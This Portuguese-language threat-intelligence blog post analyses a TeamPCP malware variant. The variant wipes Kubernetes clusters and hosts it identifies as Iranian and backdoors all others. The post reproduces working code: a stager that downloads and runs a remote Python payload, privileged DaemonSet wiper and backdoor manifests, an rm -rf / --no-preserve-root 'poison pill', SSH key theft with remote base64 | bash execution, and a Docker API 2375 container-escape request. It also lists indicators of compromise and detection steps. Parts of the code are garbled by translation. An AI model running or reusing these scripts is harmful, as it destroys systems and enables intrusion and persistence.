Encontramos um novo payload no arsenal do TeamPCP, e este não apenas rouba credenciais ou instala backdoors. Ele apaga clusters inteiros de Kubernetes.
O script usa o mesmo canister ICP (tdtqy-oyaaa-aaaae-af2dq-cai[.]raw[.]icp0[.]io) que documentamos na campanha CanisterWorm. Mesmo C2, mesmo código de backdoor, mesmo /tmp/pglog drop path. O movimento lateral nativo do Kubernetes via DaemonSets é consistente com o playbook conhecido do TeamPCP, mas esta variante adiciona algo que não vimos antes deles: um payload destrutivo com alvo geopolítico, direcionado especificamente a sistemas iranianos.
Detalhes de alto nível
Como o post do blog contém muitos detalhes técnicos, aqui está um resumo das observações mais importantes que fizemos:
- 🐙 Mesmo C2 de canister ICP que o CanisterWorm (
tdtqy-oyaaa-aaaae-af2dq-cai) - 🎯 O Payload verifica fuso horário e localidade para identificar sistemas iranianos
- ☸️ No Kubernetes: implanta DaemonSets privilegiados em cada nó, incluindo o plano de controle
- 💀 Nós iranianos são apagados e reiniciados à força via um Container chamado
kamikaze - 🔒 Nós não iranianos têm o backdoor CanisterWorm instalado como um serviço systemd
- 💀 Nós iranianos são apagados e reiniciados à força via um Container chamado
- 💣 Hosts iranianos não-K8s recebem
rm -rf / --no-preserve-root - 🐘 Persistência disfarçada como ferramentas PostgreSQL:
pglog,pg_state,internal-monitor - 🔄 Múltiplos domínios de túnel Cloudflare observados em rotação como infraestrutura de entrega de payload
- 🪱 A variante mais recente adiciona movimento lateral baseado em rede
- 🔑 Disseminação via SSH por meio de chaves roubadas e análise de logs de autenticação
- 🐳 Explora APIs Docker expostas na porta 2375 através da sub-rede local
O stager
A princípio, observamos que ele apenas apontava para https://souls-entire-defined-routes[.]trycloudflare.com/kamikaze.sh , que continha um único payload. Mais tarde, ele dividiu o payload em dois arquivos, como mostrado abaixo.
#!/usr/bin/env bash
set -euo pipefail
if ! command -v kubectl &>/dev/null; then
ARCH="amd64"
[[ "$(uname -m)" == "aarch64" ]] && ARCH="arm64"
curl -L -s "https://dl.k8s.io/release/$(curl -L -s https://dl.k8s.io/release/stable.txt)/bin/linux/${ARCH}/kubectl" -o /tmp/kubectl
chmod +x /tmp/kubectl
export PATH="/tmp:$PATH"
fi
PY_URL="https://souls-entire-defined-routes.trycloudflare[.]com/kube.py"
curl -L -s "$PY_URL" | python3 -
rm -- "$0"O que se pode observar é que ele baixa kubectl se ainda não estiver instalado. Em seguida, ele baixa kube.py do mesmo host, e o executa, antes de se autoexcluir. O código realmente interessante está contido nele. Aqui estão as últimas linhas do script, que delineia claramente a intenção do código, que detalharemos a seguir:
se __name__ == "__main__":
se is_k8s():
se is_iran():
deploy_destructive_ds()
caso contrário:
deploy_std_ds()
caso contrário:
se is_iran():
poison_pill()
sys.exit(1)Como ele escolhe seu alvo
A primeira coisa que o payload faz é descobrir onde está sendo executado. Duas verificações:
def is_k8s():
return os.path.exists("secrets.io/serviceaccount") ou \
"KUBERNETES_SERVICE_HOST" em os.environDetecção padrão de pods Kubernetes. Cada pod recebe uma conta de serviço montada por padrão.
Em seguida, isto:
def is_iran():
tz = ""
if os.path.exists("/etc/timezone"):
com open("/etc/timezone", "r") como f:
tz = f.read().strip()
caso contrário:
try:
tz = subprocess.check_output(["timedatectl", "show", "--property=Timezone", "--value"],
stderr=subprocess.DEVNULL).decode().strip()
exceto:
pass
lang = os.environ.get("LANG", "")
return tz em ["Asia/Tehran", "Irão"] ou "fa_IR" em langEle verifica o fuso horário e o locale do sistema. Se a máquina estiver configurada para o Irã (Asia/Tehran, Iran, ou fa_IR), o payload segue um caminho muito diferente.
Quatro caminhos, um script
A árvore de decisão é simples e brutal:
- Kubernetes + Irã: Implanta um DaemonSet que apaga todos os nós no cluster
- Kubernetes + em outro lugar: Implanta um DaemonSet que instala o backdoor CanisterWorm em cada nó
- Sem Kubernetes + Irã:
rm -rf / --no-preserve-root - No Kubernetes + em outros lugares: Sair. Nada acontece.
O limpador: "kamikaze"
O DaemonSet direcionado ao Irã é chamado de host-provisioner-iran. O Container dentro dele é nomeado kamikaze. Isso não é sutil.
def deploy_destructive_ds():
ds_name = "host-provisioner-iran"
if run_cmd(f"kubectl get ds {ds_name} -n kube-system").returncode == 0:
return
yaml = f"""
apiVersion: apps/v1
kind: DaemonSet
metadata:
name: {ds_name}
namespace: kube-system
spec:
selector:
matchLabels:
name: {ds_name}
template:
metadata:
labels:
name: {ds_name}
spec:
hostNetwork: true
hostPID: true
tolerations:
- operator: Exists
containers:
- name: kamikaze
image: alpine:latest
securityContext:
privileged: true
command: ["/bin/sh", "-c"]
args:
- |
find /mnt/host -maxdepth 1 -not -name 'mnt' -exec rm -rf {{}} + || true
chroot /mnt/host reboot -f
volumeMounts:
- name: host-root
mountPath: /mnt/host
volumes:
- name: host-root
hostPath:
path: /
"""
subprocess.run(["kubectl", "apply", "-f", "-"], input=yaml.encode())O DaemonSet monta o sistema de arquivos raiz do host em /mnt/host, exclui tudo no nível superior e, em seguida, reinicia à força. Por ser um DaemonSet com tolerations: [operator: Exists], ele é agendado em cada nó do cluster, incluindo o plano de controle. Um kubectl apply e o cluster inteiro é inutilizado.
O caminho de persistência
Para alvos não iranianos, o DaemonSet (host-provisioner-std) é menos dramático, mas mais útil operacionalmente. Ele escreve o backdoor CanisterWorm em cada nó e o registra como um serviço systemd:
def deploy_std_ds():
ds_name = "host-provisioner-std"
if run_cmd(f"kubectl get ds {ds_name} -n kube-system").returncode == 0:
return
yaml = f"""
apiVersion: apps/v1
kind: DaemonSet
metadata:
name: {ds_name}
namespace: kube-system
spec:
selector:
matchLabels:
name: {ds_name}
template:
metadata:
labels:
name: {ds_name}
spec:
hostNetwork: true
hostPID: true
tolerations:
- operator: Exists
containers:
- name: provisioner
image: alpine:latest
securityContext:
privileged: true
command: ["/bin/sh", "-c"]
args:
- |
mkdir -p /mnt/host{CONFIG['TARGET_DIR']}
echo '{CONFIG['PYTHON_B64']}' | base64 -d > /mnt/host{CONFIG['TARGET_DIR']}/runner.py
cat <<EOF_UNIT > /mnt/host/etc/systemd/system/{CONFIG['SVC_NAME']}.service
[Unit]
Description=System Monitor
After=network.target
[Service]
ExecStart=/usr/bin/python3 {CONFIG['TARGET_DIR']}/runner.py
Restart=always
RestartSec=5
[Install]
WantedBy=multi-user.target
EOF_UNIT
chroot /mnt/host systemctl daemon-reload
chroot /mnt/host systemctl enable --now {CONFIG['SVC_NAME']}
sleep infinity
volumeMounts:
- name: host-root
mountPath: /mnt/host
volumes:
- name: host-root
hostPath:
path: /
"""
subprocess.run(["kubectl", "apply", "-f", "-"], input=yaml.encode())O backdoor é o mesmo que documentamos na postagem sobre o CanisterWorm. Ele consulta o canister ICP a cada 50 minutos para uma URL binária, baixa e executa o que for instruído. O youtube[.]com kill switch ainda está presente.
A "pílula do veneno"
Para sistemas iranianos que não usam Kubernetes, a abordagem é mais grosseira:
def poison_pill():
cmd = "rm -rf / --no-preserve-root"
if os.getuid() == 0:
os.system(cmd)
else:
os.system(f"sudo -n {cmd} 2>/dev/null || {cmd}")Se for root, ele limpa o sistema. Se não, ele tenta sudo sem senha e, em seguida, tenta de qualquer forma. Mesmo sem root, ele destruirá tudo o que o usuário possui.
Por que isso importa
O TeamPCP tem sido documentado como um ator de ameaças nativo da Cloud desde o final de 2025, visando APIs Docker mal configuradas, clusters Kubernetes e pipelines CI/CD. Seu playbook (impressão digital do ambiente, ramificação específica do Kubernetes) tem sido consistente. Mas o comprometimento do Trivy e a campanha CanisterWorm mostraram que eles poderiam operar em escala de supply chain, e este payload mostra que eles estão preparados para serem destrutivos quando quiserem.
O que procurar
Verifique por DaemonSets em kube-system que você não criou:
kubectl get ds -n kube-systemProcure por host-provisioner-iran ou host-provisioner-std. Também audite qualquer DaemonSet que monte hostPath: / com um contexto de segurança privilegiado. Essa combinação nunca deve aparecer fora de agentes de nível de infraestrutura como o próprio kubelet.
No lado do host, verifique por:
- Um serviço systemd chamado
internal-monitor(systemctl status internal-monitor) - Arquivos em
/var/lib/svc_internal/runner.py - Processos nomeados
pglogem/tmp/ - Conexões de saída para
icp0[.]iodomínios
Atualização: Agora ele se espalha
Uma terceira iteração do payload acabou de surgir, hospedada em https://championships-peoples-point-cassette.trycloudflare[.]com/prop.py Mesmo backdoor de canister ICP, mesmo wiper do Irã, mas este não precisa de Kubernetes. Ele se espalha sozinho.
As versões anteriores dependiam de DaemonSets para se moverem por um cluster. Esta variante abandona isso completamente e o substitui por dois métodos de movimento lateral: roubo de chaves SSH e exploração de APIs Docker expostas. Ele também escaneia a sub-rede local /24 em busca de novos alvos.
Veja como ele encontra máquinas para atacar:
def get_accepted_targets():
targets = {}
for path in ["/var/log/auth.log", "/var/log/secure"]:
if os.path.exists(path):
try:
with open(path, "r") as f:
for line in f:
if "Accepted" in line:
match = re.search(r'Accepted \S+ for (\S+) from (\b\d{1,3}\.\d{1,3}\.\d{1,3}\.\d{1,3}\b)', line)
if match:
user, ip = match.groups()
if ip not in targets: targets[ip] = []
if user not in targets[ip]: targets[ip].append(user)
except: pass
return targetsEle analisa /var/log/auth.log e /var/log/secure para logins SSH bem-sucedidos, extraindo tanto o nome de usuário quanto o IP de origem. Estes se tornam pares de propagação direcionados. Para qualquer IP que ele encontra na sub-rede que não estava nos logs de autenticação, ele recorre a tentar root, ubuntu, administrador, e ec2-user.
Então ele captura todas as chaves privadas SSH que consegue encontrar:
chaves = []
ssh_base = os.path.expanduser("~/.ssh")
para t in ["id_rsa", "id_ed25519", "id_ecdsa"]:
p = os.path.join(ssh_base, t)
if os.path.exists(p): keys.append(p)Para cada alvo, ele verifica duas portas. A porta 22 recebe a propagação SSH:
cmd = ["ssh", "-o", "StrictHostKeyChecking=no", "-o", "PasswordAuthentication=no",
"-o", "ConnectTimeout=5", "-i", k, f"{user}@{ip}",
f"echo {b64_logic} | base64 -d | bash"]A porta 2375 recebe o exploit da API Docker, criando um Container privilegiado com o root do host montado:
payload = {
"Image": "alpine:latest",
"Cmd": ["/bin/sh", "-c", f"chroot /mnt/host /bin/sh -c '{logic}'"],
"HostConfig": {"Binds": ["/:/mnt/host"], "Privileged": True, "NetworkMode": "host"}
}
conn.request("POST", "/containers/create", json.dumps(payload), {"Content-Type": "application/json"})Ambos os caminhos entregam o mesmo get_remote_logic() payload, que executa a verificação de fuso horário do Irã no host remoto. Alvos iranianos são limpos, todos os outros recebem o pgmon.py backdoor instalado como um serviço systemd.
O próprio wiper mudou. As versões anteriores usavam rm -rf / --no-preserve-root em hosts não-K8s, enquanto a variante DaemonSet usava find / -maxdepth 1 ... -exec rm -rf {} + com uma reinicialização forçada. Esta versão padroniza a find abordagem com reboot -f de forma geral:
find / -maxdepth 1 -not -name 'mnt' -exec rm -rf {} + || true; reboot -fIsso vem diretamente das ferramentas anteriores do TeamPCP proxy.sh e pcpcat.py de onde eles escaneavam por APIs Docker expostas e espalhavam chaves SSH por sub-redes. A diferença é que essas ferramentas eram scripts autônomos de construção de infraestrutura. Esta carrega o backdoor CanisterWorm e o wiper do Irã consigo.
Algumas outras mudanças das versões anteriores: o nome do serviço mudou de internal-monitor para pgmonitor, o caminho de instalação mudou de /var/lib/svc_internal/ para /var/lib/pgmon/, e a descrição do systemd agora é "Postgres Monitor Service". A camuflagem do PostgreSQL está ficando mais consistente.
Indicadores de Comprometimento
Rede
tdtqy-oyaaa-aaaae-af2dq-cai[.]raw[.]icp0[.]io(ICP canister C2 dead-drop)https://souls-entire-defined-routes.trycloudflare[.]com/(entrega de payload, primeira)https://investigation-launches-hearings-copying.trycloudflare[.]com/(entrega de payload, segunda)https://championships-peoples-point-cassette.trycloudflare[.]com(entrega de payload, terceiro)
Kubernetes
- DaemonSet
host-provisioner-iranemkube-system - DaemonSet
host-provisioner-stdemkube-system - Nomes de Container:
kamikaze,provisionador
Host
/var/lib/svc_internal/runner.py/etc/systemd/system/internal-monitor.service/tmp/pglog/tmp/.pg_state/var/lib/pgmon/pgmon.py/etc/systemd/system/pgmonitor.service- Serviço Systemd:
pgmonitor(Descrição: "Postgres Monitor Service") - Serviço Systemd:
internal-monitor
Indicadores de movimento lateral
- Conexões SSH de saída com
StrictHostKeyChecking=node hosts comprometidos - Conexões de saída para a porta 2375 (Docker API) através da sub-rede local
- Containers Alpine privilegiados criados via Docker API não autenticada com
hostPath: /bind mount
... Notícia em desenvolvimento. Fique atento para atualizações.

